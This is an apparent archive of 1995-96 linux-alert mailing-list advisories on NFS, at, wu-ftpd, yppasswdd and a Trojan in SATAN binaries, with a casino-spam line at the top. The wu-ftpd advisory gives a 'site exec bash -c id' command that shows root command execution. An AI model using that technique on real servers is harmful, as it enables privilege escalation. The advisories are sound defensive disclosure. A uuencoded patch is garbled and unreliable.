Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
linux-alert/ 42775 1767 1767 0 6232715330 12273 5ustar majdommajdomlinux-alert/CONTENTS100664 1767 1767 4770 6246256233 13565 0ustar majdommajdom linux-alert.9604: [linux-alert] Technical problems...please do not adjust your T.V. linux-alert.9601: filter (elm package) security hole Filter Exploit rxvt security hole restorefont security hole CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability LSF Update#10: Another correction. Linux: dip security hole dump RedHat security hole Re: Linux: dip security hole Red Hat mh inc/msgchk security hole XFree86 3.1.2 Security Problems bind() Security Problems linux-alert.9602: LSF Update#11: Vulnerability of rxvt Problem with minicom 1.71 abuse Red Hat 2.1 security hole resizecons Red Hat 2.1 security hole [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com linux-alert.9603: [linux-alert] CERT Advisory CA-96.05 - Java [linux-alert] NCSA httpd cgi-bin application vulnerability. [linux-alert] Problem with sliplogin on Linux [linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier linux-alert.9605: [linux-alert] Yet Another Java Hole. Another way to run native code from Java applets [linux-alert] Administrative note regarding subscriptions. [linux-alert] Serious Security hole in getpwnam () Serious Security hole in getpwnam () linux-alert.9606: [linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl linux-alert.9607: [linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability). [linux-alert] Linux NetKit-B update. [linux-alert] LSF Update#11: Vulnerability of rlogin linux-alert.9608: [linux-alert] Vulnerability in ALL linux distributions [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux [linux-alert] SECURITY FIX/UPDATE: anonftp [linux-alert] SECURITY FIX/UPDATE: anonftp [linux-alert] Security vulnerability in 'bash' [linux-alert] Re: [linux-security] RESOLV_HOST_CONF [linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 linux-alert.9609: [linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program [linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities [linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks linux-alert.9610: [linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash [linux-alert] URGENT: Bug in linux networking stack linux-alert/TOPICS100664 1767 1767 4604 6246256233 13325 0ustar majdommajdom[linux-alert] Administrative note reg... linux-alert.9605 [linux-alert] CERT Advisory CA-96.05 ... linux-alert.9603 [linux-alert] CERT Advisory CA-96.07 ... linux-alert.9603 [linux-alert] CERT Advisory CA-96.12 ... linux-alert.9606 [linux-alert] CERT Advisory CA-96.13.... linux-alert.9607 [linux-alert] CERT Advisory CA-96.20 ... linux-alert.9609 [linux-alert] CERT Advisory CA-96.21 ... linux-alert.9609 [linux-alert] CERT Advisory CA-96.22 ... linux-alert.9610 [linux-alert] CIAC Bulletin G-42:Vuln... linux-alert.9609 [linux-alert] Linux NetKit-B update. linux-alert.9607 [linux-alert] LSF Update#11: Vulnerab... linux-alert.9607 [linux-alert] LSF Update#13: Vulnerab... linux-alert.9608 [linux-alert] NCSA httpd cgi-bin appl... linux-alert.9603 [linux-alert] Problem with sliplogin ... linux-alert.9603 [linux-alert] Re: [linux-security] RE... linux-alert.9608 [linux-alert] SECURITY ALERT/FIX: mou... linux-alert.9608 [linux-alert] SECURITY FIX/UPDATE: an... linux-alert.9608 [linux-alert] SECURITY FIX: New kbd R... linux-alert.9602 [linux-alert] Security vulnerability ... linux-alert.9608 [linux-alert] Serious Security hole i... linux-alert.9605 [linux-alert] Technical problems...pl... linux-alert.9604 [linux-alert] URGENT: Bug in linux ne... linux-alert.9610 [linux-alert] Vulnerability in ALL li... linux-alert.9608 [linux-alert] Yet Another Java Hole. linux-alert.9605 abuse Red Hat 2.1 security hole linux-alert.9602 Another way to run native code from J... linux-alert.9605 bind() Security Problems linux-alert.9601 CERT Advisory CA-96.07 - Weaknesses i... linux-alert.9603 CORRECTED(!) Linux Security FAQ Updat... linux-alert.9601 dump RedHat security hole linux-alert.9601 filter (elm package) security hole linux-alert.9601 Filter Exploit linux-alert.9601 Linux: dip security hole linux-alert.9601 LSF Update#10: Another correction. linux-alert.9601 LSF Update#11: Vulnerability of rxvt linux-alert.9602 Problem with minicom 1.71 linux-alert.9602 Red Hat mh inc/msgchk security hole linux-alert.9601 resizecons Red Hat 2.1 security hole linux-alert.9602 restorefont security hole linux-alert.9601 rxvt security hole linux-alert.9601 Serious Security hole in getpwnam () linux-alert.9605 XFree86 3.1.2 Security Problems linux-alert.9601 linux-alert/linux-alert.9604100664 1767 1767 3442 6130323217 15155 0ustar majdommajdomFrom [email protected] Tue Apr 2 17:13:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id RAA01428; Tue, 2 Apr 1996 17:13:32 -0500 Date: Tue, 2 Apr 1996 17:11:52 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-alert] Technical problems...please do not adjust your T.V. X-Spook: arrangements plutonium Randal Schwartz X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Due to a couple of sendmail upgrades gone awry here I'm having to re-send some (four) messages to the linux-security list; they got partially cooked when rogue daemons breathed fire on them. If you get multiple copies of some of these messages (hopefully not more than two), don't worry...the problem is known to be in the transmitter and our best technicians are [OK, OK...our only technician is] working on it. Also due to these sendmail problems: some list members may not have received one or more linux-security and/or linux-alert messages that were posted last week (e.g. the CERT advisory "CA-96.07 - Weaknesses in Java Bytecode Verifier"). If you think that you might have missed (i.e. not received) a message or two, please check the list archive at: ftp://linux.nrao.edu/pub/linux/security/list-archive. Sorry for the inconvenience! --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-alert/1995/ 42775 1767 1767 0 6226665424 12715 5ustar majdommajdomlinux-alert/1995/linux-alert.9503100664 1767 1767 17410 5730624575 15622 0ustar majdommajdomFrom [email protected] Sat Mar 4 13:23:09 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA03227; Sat, 4 Mar 1995 13:18:45 -0500 Received: from cave.et.tudelft.nl (cuve.et.tudelft.nl [130.161.127.241]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id LAA02185; Sat, 4 Mar 1995 11:18:51 -0500 Received: by cave.et.tudelft.nl (8.6.9/1.34JP) id RAA00465; Sat, 4 Mar 1995 17:18:36 +0100 Message-Id: <[email protected]> Subject: NFS deamon can be killed by normal users. To: [email protected] Date: Sat, 4 Mar 1995 17:18:35 +0100 (MET) From: [email protected] X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 592 Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Hi everyone, I just subscribed, and now I have a place where I can leave this: The nfs deamons can be killed by any user. This is because the nfs deamon takes on the userid of the current request. It then remains at this userID untill the next request. The first fix would be to change back to uid root after serving a request, but this would only reduce the time-span where an attack might succeed. A true solution would allow the nfsd process to indicate to the kernel that although it has the euid of a user, it doesn't want to be considered "owned" by that user. Roger Wolff. From [email protected] Mon Mar 6 12:04:43 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA22038; Mon, 6 Mar 1995 11:59:34 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA16902; Mon, 6 Mar 1995 04:10:05 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rlYo8-0005B1C; Mon, 6 Mar 95 10:10 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rlZAj-000KjRC; Mon, 6 Mar 95 10:33 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Bogus post to Linux Alert To: [email protected] Date: Mon, 6 Mar 1995 10:33:48 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 640 Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Hello everyone, Yesterday, I sent someone's report about a hole in the Linux NFS daemon out to this list. The facts are: * This hole has existed for some time * It has been fixed a long time ago When I approved this mail, I thought it was for the discussion list. I can only say to my defense that I have been handling exactly 1362 pieces of list-related mail over the weekend, so the mind gets a little mushroomy. Still, this should not have happened. Apologies to everyone Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Sun Mar 12 12:03:51 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA22232; Sun, 12 Mar 1995 11:54:22 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id LAA22120; Sun, 12 Mar 1995 11:36:43 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rnqdg-0005AmC; Sun, 12 Mar 95 17:37 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rnr3o-000KjCC; Sun, 12 Mar 95 18:04 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: NFS Vulnerability To: [email protected] Date: Sun, 12 Mar 1995 18:04:07 +0100 (MET) Cc: [email protected] X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 3819 Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] ALERT - Announcement of the Linux Emergency Response Team :) The current Linux NFS server (version 2.0) has a couple of security problems some of which have been known for a while and supposedly been fixed a long time ago. However, none of the versions I found on the usual FTP sites had these fixes incorporated. On top of that, I discovered a few days ago that you can easily trick it by guessing NFS file handles. This particularly nasty hole allows anyone to mount your entire file system and view all files (kiss your shadow protected passwords goodbye :->). I have written a sample program that demonstrates this hole and will release it at a later date. Release 2.1 of the Universal NFS server fixes these security holes. It does the following things: * Authenticate NFS file handles on every request. Support for it was there, but didn't work in all cases. Authentication code is not yet optimized. Especially for sites that have wildcard names in their /etc/exports, this may cause performance problems. I'll be working on a revamped authentication code that does this faster. * Use setfsuid/setfsgid for setting owner/group on file access rather than seteuid. With the old seteuid method, any user on the system could kill the server. The setfsuid/setfsgid functions were not implemented in libc-4.6.27, so I added a small assembler file that implements them. libc-4.6.29 seems to have them, though. There seem to have been patches that fixed this particular bug before, but they never seem to have made it to any FTP server. * Implement root_squash and no_root_squash mount options. There was a fix for this posted to Usenet recently which implemented the root_squash option. Release 2.1 obsoletes this patch. The complete source is available as nfs-server-2.1.tar.gz from linux.nrao.edu in /pub/people/okir/nfsd. It should compile out of the box, and reportedly works with gcc-ELF, too. In the same directory, you will find a binary release of portmap-3, written by Wietse Venema. I highly recommend you use it, because older versions of portmap have a couple of problems that can result in users on your system gaining root access and/or foreign machines mounting directories from your system via NFS. Attached to the end of this message, you find the MD5 and PGP signatures for both files. The PGP signature can be verified with my public key (you can obtain the key by fingering [email protected]). To verify the PGP signatures, save each of them to a separate file and pipe them into pgp. Regards, Olaf --------------------- linux-security BLURB ------------------------- To find out about the linux-security and linux-alert mailing lists, send mail to [email protected] with the following commands in the message body: help lists end The mailing lists are also archived at linux.nrao.edu; majordomo's help text should tell you how to retrieve them. ----------------------- MD5 signatures ----------------------------- 60a6a6983b52e9cd469cbf93dc285bc6 nfs-server-2.1.tar.gz 2201659365250c78766c9b123a598699 portmap-3.tar.gz ---------------------- PGP signature for nfsd ---------------------- -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2JZbeFnVHXv40etAQGsPwQAoHNjpnRuqQfbFS61RM4K6SpLH5dp71+M 3mEKt/lrv9qZwz+3uQmmLmE4l2Ycg+nOnXTBCDRZPxiwwKYhQO3MPrTNslkhHNi8 FpKAWl1x5yuj4oULW+JnJe15tT9kyk0teoX1bxO4eIxB18jOyxrTHfJ3is/2xmJp JOfwWWk+9Kk= =iL95 -----END PGP MESSAGE----- -------------------- PGP signature for portmap --------------------- -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2MUvuFnVHXv40etAQHhuwP/SSbfIK3AFMUulqibxC6WH24qzpEMYQMs H2KTDQONkZCrfIctyTnjMHA/V81qKki3LodrlVafs3v/M5PV4J5pvCnrmAZDbU6m 7z2o+SjFGFS1T3/UIj9uAPyJ5W5TPjzNnkTBj8SgyyL7pCpiKG5CsYEEWK0MiMyA P2bqC07ZfAw= =Wb6T -----END PGP MESSAGE----- linux-alert/1995/linux-alert.9504100664 1767 1767 31571 5741543015 15616 0ustar majdommajdomFrom [email protected] Mon Apr 3 18:48:26 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA11708; Mon, 3 Apr 1995 18:30:22 -0400 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id RAA11534; Mon, 3 Apr 1995 17:52:37 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Mon, 3 Apr 1995 22:59:10 +0200 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id WAA02520; Mon, 3 Apr 1995 22:59:00 +0200 Message-Id: <[email protected]> Subject: security hole in old versions of at for Linux To: [email protected] (linux-alert) Date: Mon, 3 Apr 1995 22:59:00 +0200 (MET DST) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] I've just been informed that earlier versions of my at/atrun package for Linux had a bug which allowed root access for any authorized user of the system. This bug can only be exploited if the user can edit a job he's submitted to the atrun queue. If 'at -V' shows a version earlier than 2.7, or if the directory /var/spool/atjobs (or, possibly, /usr/spool/atjobs) is world - executable, you are vulnerable. In that case, upgrade your system to at 2.7 or 2.7a immediately. In the meantime, changing the permissions of /var/spool/atjobs to 700 will prevent unauthorized root access; this may also render the 'at' system unusable. Non - vulnerable versions of at have been around for about 10 months, and have been included in the standard distributions. -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. From [email protected] Fri Apr 7 20:20:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id TAA23807; Fri, 7 Apr 1995 19:56:12 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA22324; Fri, 7 Apr 1995 11:54:21 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rxGMa-0005AwC; Fri, 7 Apr 95 17:54 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0rxGXX-000KjRC; Fri, 7 Apr 95 18:05 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Hash signs in hosts.equiv To: [email protected] Date: Fri, 7 Apr 1995 18:05:43 +0200 (MET DST) Cc: [email protected] X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1959 Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hello, As has been reported, the ruserok() function in libc (up to at least version 4.6.27, didn't check the latest ones) does not take care of hash signs in hosts.equiv and .rhosts. If someone injects a bogus PTR record into their DNS, this could be dangerous for some extremely old Linux systems. Most machines I've seen however run a version of rlogin that does a spoof check on the host name obtained from gethostbyaddr. At the least, version 5.53 of rlogind is immune against this type of attack. You can check which version you have by running the strings command on the binary. As I don't have the source for rshd handy at the moment, I can't tell which versions of rshd are vulnerable and which aren't. If you are not sure if your rlogind/rshd binary is vulnerable, you have the following options: * Put the line nospoof on in your /etc/host.conf file. This rejects all hosts who have no or broken reverse mapping records in their DNS. * If you don't want to block all services for hosts with broken reverse mapping, get a newer version of tcpd (tcp_wrapper-6.3 or later) and add a line like this to /etc/hosts.deny: ALL except ftpd: UNKNOWN This rejects all hosts with missing or bad PTR entries for all services except FTP. Of course, you also have to make sure inetd actually invokes tcpd for this service. The appropriate entry in /etc/inetd.conf looks like this: login stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rlogind Regards, Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL4ViqeFnVHXv40etAQGbcQP+OTewrPRUBpX374nMlLzk0h+Pc6zCpc9t NhEjvo1uQ23q0orCBszIVc88yIBXGGIOwuvik+zYXcZl5N/cA+OhdrDokaQsR4lV xOWPCINis9LApZCxbZi5YswrdCH1Lzn2xSid3XEOa9qbrJKDuu4PlGQfSS1LQHQ0 Qk2w9L/5qSw= =wZGH -----END PGP SIGNATURE----- From [email protected] Sat Apr 8 11:45:46 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA26815; Sat, 8 Apr 1995 11:38:50 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA26744; Sat, 8 Apr 1995 11:18:19 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rxcHT-0005AzC; Sat, 8 Apr 95 17:18 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0rxcum-000KjuC; Sat, 8 Apr 95 17:59 MET DST Received: from brewhq.swb.de by monad.swb.de with uucp (smail3.1.29.0 #5) id m0rxcFi-000KjwC; Sat, 8 Apr 95 17:16 MET DST Received: from panix3.panix.com by brewhq.swb.de with smtp (Linux Smail3.1.29.0 #5) id m0rxam2-0005B3C; Sat, 8 Apr 95 15:42 MET DST Received: (from stimpson@localhost) by panix3.panix.com (8.6.12/8.6.10+PanixU1.0) id JAA08873; Sat, 8 Apr 1995 09:41:03 -0400 Date: Sat, 8 Apr 1995 09:41:03 -0400 (EDT) From: "S. Joel Katz" To: [email protected] Subject: Trojan in Linux Satan Binaries Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [mod: I could not verify these claims in any way; nor could I verify if this mail is really from Joel Katz because the message was not PGP-signed. Therefore, I'm not signing this post to linux-alert either. You should take this warning serious nevertheless. --okir] ---------------------------------------------------------------------------- SECURITY ALERT -- Trojan in Linux Satan Binaries ---------------------------------------------------------------------------- It appears that someone with physical access to my computer inserted a Trojan into my release of the Linux Satan binaries. This definitely affects the versions downloaded from ftp.epinet.com and may affect those from other sites. At least 400 sites have ftp'd the trojan. This Trojan has not been exploited and will not be used. Briefly, if you downloaded Linux Satan Binaries from anywhere, to be safe, create a user named "suser" in your /etc/passwd file, set his password to "*" and his user number to 9955. This will disable the Trojan completely and Satan can still be used. You can obtain the latest info by fingering "[email protected]". Mail regarding the trojan should be sent to the same address. Someone I know wanted to make some bizarre point about tools like Satan being useless in the hands of the technically unskilled. He obtained physical access to my machine when I was not in my lab and obtained my password from a log. (Stupid me, when I was having PPP problems, I told chat to log everything -- including my password!) Unfortunately, my PPP password is my Panix password (by their design). This person has no intentions of using the Trojan and only wanted to make a statement, not compromise people's security. When I checked for other tampered files by comparing my system to my last backup, I noticed a copy of the source of the trojan sitting in a directory that contains newbie help for Usenet. It is clear that only the author of the Trojan can exploit it. He is quite remorseful about what he has done. I will release more details including the source shortly. Right now, I want to give people a chance to secure their systems. If you have an "suser" line in your /etc/passwd file, you have been attacked. Change "suser"'s password to "*". If you don't have such a line, add one just to be safe -- the Trojan shuts down if "suser" already exists. Make it user number 9955, and set its password to "*". This problem does not affect any of the source releases. My sincere apologies to those whose system's security may have been compromised. Sincerely, Joel Katz (Address replies to [email protected]) From [email protected] Sat Apr 8 13:21:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA27086; Sat, 8 Apr 1995 13:16:28 -0400 Received: from concrete.resnet.upenn.edu (CONCRETE.RESNET.UPENN.EDU [130.91.120.107]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id MAA26926; Sat, 8 Apr 1995 12:05:32 -0400 Received: (from casret@localhost) by concrete.resnet.upenn.edu (8.6.10/8.6.9) id LAA09847 for [email protected]; Sat, 8 Apr 1995 11:11:12 -0400 Date: Sat, 8 Apr 1995 11:11:12 -0400 From: "Giao H. Phan" Message-Id: <[email protected]> To: [email protected] Subject: (fwd) Trojan in Linux Satan Binaries! Newsgroups: alt.security,comp.security.unix Organization: Segmentation fault(core dumped) Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Path: netnews.upenn.edu!news.amherst.edu!news.mtholyoke.edu!uhog.mit.edu!news.mathworks.com!panix!not-for-mail From: [email protected] (S. Joel Katz) Newsgroups: alt.security,comp.security.unix Subject: Trojan in Linux Satan Binaries! Date: 8 Apr 1995 09:46:26 -0400 Organization: PANIX Public Access Internet and Unix, NYC Lines: 55 Message-ID: <[email protected]> NNTP-Posting-Host: panix3.panix.com Summary: There is a Trojan in some releases of the Linux Satan Binaries! Keywords: Satan Trojan Security Xref: netnews.upenn.edu alt.security:23744 comp.security.unix:15029 SECURITY ALERT -- Trojan in Linux Satan Binaries ---------------------------------------------------------------------------- It appears that someone with physical access to my computer inserted a Trojan into my release of the Linux Satan binaries. This definitely affects the versions downloaded from ftp.epinet.com and may affect those from other sites. At least 400 sites have ftp'd the trojan. This Trojan has not been exploited and will not be used. Briefly, if you downloaded Linux Satan Binaries from anywhere, to be safe, create a user named "suser" in your /etc/passwd file, set his password to "*" and his user number to 9955. This will disable the Trojan completely and Satan can still be used. You can obtain the latest info by fingering "[email protected]". Mail regarding the trojan should be sent to the same address. Someone I know wanted to make some bizarre point about tools like Satan being useless in the hands of the technically unskilled. He obtained physical access to my machine when I was not in my lab and obtained my password from a log. (Stupid me, when I was having PPP problems, I told chat to log everything -- including my password!) Unfortunately, my PPP password is my Panix password (by their design). This person has no intentions of using the Trojan and only wanted to make a statement, not compromise people's security. When I checked for other tampered files by comparing my system to my last backup, I noticed a copy of the source of the trojan sitting in a directory that contains newbie help for Usenet. It is clear that only the author of the Trojan can exploit it. He is quite remorseful about what he has done. I will release more details including the source shortly. Right now, I want to give people a chance to secure their systems. If you have an "suser" line in your /etc/passwd file, you have been attacked. Change "suser"'s password to "*". If you don't have such a line, add one just to be safe -- the Trojan shuts down if "suser" already exists. Make it user number 9955, and set its password to "*". This problem does not affect any of the source releases. My sincere apologies to those whose system's security may have been compromised. Sincerely, Joel Katz (Address replies to [email protected]) -- S. Joel Katz Information on Objectivism, Linux, 8031s, and atheism [email protected] is available at http://www.panix.com/~stimpson/ -- Casret - Pimp Segmentation fault (core dumped) (alpha) @ concrete.resnet.upenn.edu 4000 Flames welcome as they can only mean more publicity. linux-alert/1995/linux-alert.9505100664 1767 1767 17324 5763030175 15621 0ustar majdommajdomFrom [email protected] Wed May 31 04:57:29 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA23708; Wed, 31 May 1995 04:35:50 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id AAA19161; Wed, 31 May 1995 00:22:39 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sGfI9-0005ApC; Wed, 31 May 95 06:22 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sGby7-000KjMC; Wed, 31 May 95 02:49 MET DST Message-Id: Date: Wed, 31 May 95 02:49 MET DST From: [email protected] (Olaf Kirch) To: [email protected] Subject: SECURITY: problem with some wu-ftpd-2.4 binaries Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hi all, There's a security hole in some Linux distributions involving wu-ftpd-2.4. Some ftpd binaries have been compiled with a set of defaults that allow anyone with an account on your machine to become the root user. It appears that at least Slackware-2.0 and 2.2 are affected; I have no information about other distributions. Anonymous FTP should not be affected by this as long as you have only the `ls' command in To find out if your machine is affected, ftp to your own account, log in and enter this: quote "site exec bash -c id". If ftpd responds with a line that says something like "uid=0(root) euid=1234(your_login)... ", then your ftpd is vulnerable. The obvious fix is to obtain the source of wu-ftpd-2.4 and recompile it. The crucial part is the _PATH_EXECPATH define in src/pathnames.h. It should NOT be set to /bin or any other regular directory. By default, it is set to /bin/ftp-exec. Make sure this directory does not exist or contains only harmless commands you are absolutely sure you would want your users to execute as root. Thomas Lundquist has posted a small patch for src/ftpcmd.y that goes even further and disables the SITE EXEC command altogether. It is appended at the end of this message. All the fame goes to Michel [email protected] Thomas Lundquist [email protected] Aleph One [email protected] Have a nice day Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - ------------------------------------------------------------------ table `!"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ begin 644 /tmp/DIFF M+2TM(&9T<&-M9"YY+F]R:6<)5V5D($UA>2`S,2`P,CHP,SHP-R`Q.3DU"BLKz M*R!F='!C;60N>0E7960@36%Y(#,Q(#`R.C`S.C4T(#$Y.34*0$`@+3$T,C&5C*&-M9"D*(&-H87(@*F-M9#L*x M*R`@("`O*B`**R`@("`@*B!4:&4@9&5C;&%R871I;VYS(&)E;&]V(&ET(&MEw M<'0@=&\@8F4@2!T:&4@;6]R;VX@86YD(&QO9R!H:6TN"BL@("`@("H@5&AO;6%Sp M+DQU;F1Q=6ES=$!H:6]F+FYO($UA>2`G.34**R`@("`@*B\*("`@("`*+2`@o M("!I9B`HPHM("`@("`@("!I9B`H:7-U<'!E2@U-3`L(&-M9"D["BT@("`@("`@a M(&EF("AL;V=?8V]M;6%N9',I"BT@("`@("`@("`@("!S>7-L;V7,O7-L;V2@R,#`L(").o M;R!F Message-Id: <[email protected]> To: [email protected] Subject: Re: SECURITY: problem with some wu-ftpd-2.4 binaries X-Quote-I-Like: "The part that frightens the hell out of me is the goverment deciding where technology goes." --Senator Patrick Leahy. X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- The post from Olaf that I just forwarded on to the linux-alert list apparently does not checksum with his PGP signature. It is, however, a valid alert. (I and others have verified the hole.) This PGP signature implicitly validates Olaf's message as well. - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.1 iQCVAwUBL8wu5bxzFUpUTHgFAQEy6AP+ONifLUvB53J5xkkCRVJOQVSJm1p6JRw1 r+RWAGrVxtFxTBvp9w9gfbc1kwZeW9B/R2q3VebQWAx39uMMNSvU3QXOLznssaKT 9zwTrAxt068nMcIrIeQQp50SwnHbwUoKPLRNgD9mMyBg82/x/4HZvrWMCcqc5vEC lSmI2FbUOfA= =z6gS -----END PGP SIGNATURE----- -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-alert/1995/linux-alert.9506100664 1767 1767 4647 5772560057 15615 0ustar majdommajdomFrom [email protected] Fri Jun 23 11:39:19 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA02604; Fri, 23 Jun 1995 11:01:00 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id AAA01244; Fri, 23 Jun 1995 00:23:04 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sP0Gm-0005B7C; Fri, 23 Jun 95 06:23 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sOnsp-000KjkC; Thu, 22 Jun 95 17:09 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: SECURITY: problem with yppasswdd To: [email protected] Date: Thu, 22 Jun 1995 17:09:30 +0200 (MET DST) Cc: [email protected] X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1408 Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- I just received a user report about a hole in my implementation of yppasswdd. Under certain circumstances, this hole lets users with a valid account on your machine gain access to other accounts. This bug affects all versions up to and including ypasswdd-0.6. Note that this vulnerability affects _only_ machines who use a) The NIS password maps b) Manage those password maps with rpc.yppasswdd. To plug this hole, you should obtain and install the latest version. I have uploaded yppasswd-0.7 to the following places: ftp.lysator.liu.se:/pub/NYS/incoming (to be moved) ftp.mathematik.th-darmstadt.de:/pub/linux/okir linux.nrao.edu:/pub/people/okir The MD5 signature is: d22e0061f80f9c28d4b12eeff42e79be yppasswd-0.7.tar.gz Many thanks to [email protected] for reporting this bug, and apologies to everyone for this stupid oversight Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP 